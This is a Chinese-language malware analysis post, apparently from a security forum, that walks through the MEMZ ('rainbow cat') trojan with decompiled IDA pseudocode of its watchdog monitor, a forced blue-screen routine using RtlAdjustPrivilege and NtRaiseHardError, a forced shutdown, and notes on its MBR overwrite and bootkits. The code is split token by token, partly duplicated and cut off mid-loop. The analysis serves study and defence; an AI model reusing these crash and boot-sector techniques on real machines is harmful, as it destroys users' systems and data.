彩虹猫是一个非常有意思的病毒样本,我在看雪上,看到挺多这样的贴子。出于学习的目的,这里我对彩虹猫的分析进行一次复现。如有不足之处,请批评指正。
病毒分析环境的详细介绍
样本名称:MEMZ.exe
MD5: 19DBEC50735B5F2A72D4199C4E184960
SHA1: 6FED7732F7CB6F59743795B2AB154A3676F4C822
实验平台:wind10
实验工具:PEiD v0.95,IDA x32 v7.4,VMWare WorkStation v15.56、Olly ICE v1.10
分析的流程:
从第一个函数API中,我们需要知道sub_40114A的含义,具体的代码,如下:
sub_401021()这里起什么作用呢?
sub_401021确实是一个强制关机的函数,先创建线程用于弹出大量位置和内容都随机的窗口,再使用蓝屏或退出Windows的方式强制关闭计算机。
分析注册并创建窗口这个API,调用RegisterClassExA注册了一个名为“hax”的用户自定义窗口类型,并用CreateWindowExA将其创建。
回调函数sub_401000(),代码如下:
sub_401021这个强制关机函数在两处被调用。第一个是监测watchdog进程数量,如有减少就调用。第二个是监测用户是否主动关机,如有也调用。这和我们观察阶段看到的完全一致。
GetMessage、TranslateMessage、DispatchMessage被包进一个大的while循环,这是常见的操作,叫做“消息循环”。由于在前面创建了窗口,并且还对发送给窗口的消息进行了过滤,意味着我们必须自己写消息循环完成收取消息和派发消息的工作,否则创建的窗口是收不到消息的。
这里引用一段关于消息循环的说明。
while(GetMessage(&Msg, NULL, 0, 0) > 0)
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
上面代码的执行过程为:
关于main部分,这里我借鉴一些另一位大神的内容,也写一个MBP部分。
四、 刨根问底,力求搞懂
MBR全称主引导记录(Master Boot Record),整个硬盘最开头的512字节就是它。计算机启动后会先运行MBR里的代码进行各种状态的检查和初始化的工作,然后再把控制权转交给操作系统(简单地讲就是一个JMP指令跳到操作系统的起始代码),Windows就加载启动了。
而彩虹猫病毒,则是直接覆盖了MBR部分,用自己的代码代替,不交出控制权,wind就无法启动。
首先通过CreateFile函数打开主硬盘。PhysicalDrive0,就是用来读取主硬盘的函数。然后用0初始化一段内存,空间大小用V4表示。通过指针的方式,将第一段数据拷贝到byte_402118大小,将第二段数据拷贝到byte_402248大小。
这里借着MBR,介绍一下Bootkit,拓展一下。
Rootkit高效的获取系统准入使得安全领域的检测技术受到极大的挑战。为防止内核模式的恶意软件以及数字权限管理(DRM)的侵犯,微软在其Vista操作系统及其后续版本中增加了安全策略,在其设备驱动中要求数字签名。这一安全机制,一方面增强了系统安全,而另一方面也防止了合法的第三方应用软件开发商驱动程序。而 Bootkit的出现已攻破windows的设备驱动签名请求。
Bootkit主要利用其内核准入和开机过程的隐身技术,在功能上并无异于Rootkit。他们的不同主要表现在获取准入的方式上。传统的Rootkit利用系统启动时提升权限。而 Bootkit是被安置在外设的主引导扇区和驻留在整个系统的启动过程。
Bootkit病毒是指寄存于磁盘主引导区,通过系统启动来进行提权的病毒。磁盘的主引导区(MBR),是指计算机的被设为启动磁盘的第一个扇区,其中存放着由BIOS(标准输入输出服务,完成基本的系统硬件的初始化,并为操作系统提供基本硬件访问接口)初始化后的将要被加载到内存的代码和硬盘的分区信息,通常这段代码运行后会在存贮在硬盘。图 10-6-3显示了一个MBR被修改的截图。
if
( !lstrcmpW(v1[
1
], L
"/watchdog"
) )
{
CreateThread(
0
,
0
, sub_40114A,
0
,
0
,
0
);
/
/
创建线程
pExecInfo.lpVerb
=
(LPCWSTR)
48
;
pExecInfo.lpParameters
=
(LPCWSTR)sub_401000;
pExecInfo.u.hIcon
=
"hax"
;
pExecInfo.lpFile
=
0
;
pExecInfo.lpDirectory
=
0
;
pExecInfo.nShow
=
0
;
pExecInfo.hInstApp
=
0
;
pExecInfo.lpIDList
=
0
;
pExecInfo.lpClass
=
0
;
pExecInfo.hkeyClass
=
0
;
pExecInfo.dwHotKey
=
0
;
pExecInfo.hProcess
=
0
;
RegisterClassExA((const WNDCLASSEXA
*
)&pExecInfo.lpVerb);
/
/
注册窗口
CreateWindowExA(
0
,
"hax"
,
0
,
0
,
0
,
0
,
100
,
100
,
0
,
0
,
0
,
0
);
/
/
创建窗口
while
( GetMessageW(&Msg,
0
,
0
,
0
) >
0
)
{
TranslateMessage(&Msg);
/
/
消息循环
DispatchMessageW(&Msg);
}
}
if
( !lstrcmpW(v1[
1
], L
"/watchdog"
) )
{
CreateThread(
0
,
0
, sub_40114A,
0
,
0
,
0
);
/
/
创建线程
pExecInfo.lpVerb
=
(LPCWSTR)
48
;
pExecInfo.lpParameters
=
(LPCWSTR)sub_401000;
pExecInfo.u.hIcon
=
"hax"
;
pExecInfo.lpFile
=
0
;
pExecInfo.lpDirectory
=
0
;
pExecInfo.nShow
=
0
;
pExecInfo.hInstApp
=
0
;
pExecInfo.lpIDList
=
0
;
pExecInfo.lpClass
=
0
;
pExecInfo.hkeyClass
=
0
;
pExecInfo.dwHotKey
=
0
;
pExecInfo.hProcess
=
0
;
RegisterClassExA((const WNDCLASSEXA
*
)&pExecInfo.lpVerb);
/
/
注册窗口
CreateWindowExA(
0
,
"hax"
,
0
,
0
,
0
,
0
,
100
,
100
,
0
,
0
,
0
,
0
);
/
/
创建窗口
while
( GetMessageW(&Msg,
0
,
0
,
0
) >
0
)
{
TranslateMessage(&Msg);
/
/
消息循环
DispatchMessageW(&Msg);
}
}
v7
=
0
;
lpString1
=
(LPCSTR)LocalAlloc(
0x40u
,
0x200u
);
/
/
分配地址空间
v1
=
GetCurrentProcess();
/
/
获取当前进程的句柄
GetProcessImageFileNameA(v1, (LPSTR)lpString1,
0x200u
);
/
/
获取进程的映像和路径
Sleep(
0x3E8u
);
while
(
1
)
{
v2
=
CreateToolhelp32Snapshot(
2u
,
0
);
/
/
拍摄进程快照
pe.dwSize
=
556
;
Process32FirstW(v2, &pe);
/
/
遍历
v3
=
lpString1;
/
/
V3用来存储进程路径
v4
=
0
;
do
{
hProcess
=
OpenProcess(
0x400u
,
0
, pe.th32ProcessID);
lpString2
=
(LPCSTR)LocalAlloc(
0x40u
,
0x200u
);
GetProcessImageFileNameA(hProcess, (LPSTR)lpString2,
0x200u
);
if
( !lstrcmpA(v3, lpString2) )
/
/
比较新生成的进程和之前的路径是否相同,相同,则加
1.
+
+
v4;
CloseHandle(hProcess);
LocalFree((HLOCAL)lpString2);
}
while
( Process32NextW(v2, &pe) );
/
/
遍历
CloseHandle(v2);
if
( v4 < v7 )
/
/
起一个监控的作用,v7存储最大的V4,如果发现进程减少,则进入sub_401021().
sub_401021();
v7
=
v4;
Sleep(
0xAu
);
}
v7
=
0
;
lpString1
=
(LPCSTR)LocalAlloc(
0x40u
,
0x200u
);
/
/
分配地址空间
v1
=
GetCurrentProcess();
/
/
获取当前进程的句柄
GetProcessImageFileNameA(v1, (LPSTR)lpString1,
0x200u
);
/
/
获取进程的映像和路径
Sleep(
0x3E8u
);
while
(
1
)
{
v2
=
CreateToolhelp32Snapshot(
2u
,
0
);
/
/
拍摄进程快照
pe.dwSize
=
556
;
Process32FirstW(v2, &pe);
/
/
遍历
v3
=
lpString1;
/
/
V3用来存储进程路径
v4
=
0
;
do
{
hProcess
=
OpenProcess(
0x400u
,
0
, pe.th32ProcessID);
lpString2
=
(LPCSTR)LocalAlloc(
0x40u
,
0x200u
);
GetProcessImageFileNameA(hProcess, (LPSTR)lpString2,
0x200u
);
if
( !lstrcmpA(v3, lpString2) )
/
/
比较新生成的进程和之前的路径是否相同,相同,则加
1.
+
+
v4;
CloseHandle(hProcess);
LocalFree((HLOCAL)lpString2);
}
while
( Process32NextW(v2, &pe) );
/
/
遍历
CloseHandle(v2);
if
( v4 < v7 )
/
/
起一个监控的作用,v7存储最大的V4,如果发现进程减少,则进入sub_401021().
sub_401021();
v7
=
v4;
Sleep(
0xAu
);
}
v1
=
20
;
do
{
CreateThread(
0
,
0x1000u
, StartAddress,
0
,
0
,
0
);
/
/
创建
20
个进程
Sleep(
0x64u
);
-
-
v1;
}
while
( v1 );
v2
=
v17;
v17
=
a1;
v9
=
v2;
v3
=
LoadLibraryA(
"ntdll"
);
v4
=
GetProcAddress(v3,
"RtlAdjustPrivilege"
);
v5
=
GetProcAddress(v3,
"NtRaiseHardError"
);
v6
=
(void (__cdecl
*
)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v5;
if
( v4 && v5 )
{
((void (__cdecl
*
)(signed
int
, signed
int
, _DWORD, char
*
,
int
,
int
))v4)(
19
,
1
,
0
, &v16, v15, v9);
v6(
-
1073741790
,
0
,
0
,
0
,
6
, &v13);
}
/
/
上面是主动引发蓝屏
v7
=
GetCurrentProcess();
OpenProcessToken(v7,
0x28u
, &v14);
LookupPrivilegeValueW(
0
, L
"SeShutdownPrivilege"
, (PLUID)&v11);
v10
=
1
;
v12
=
2
;
AdjustTokenPrivileges(v14,
0
, (PTOKEN_PRIVILEGES)&v10,
0
,
0
,
0
);
return
ExitWindowsEx(
6u
,
0x10007u
);
/
/
这里是退出winds。
}
v1
=
20
;
do
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)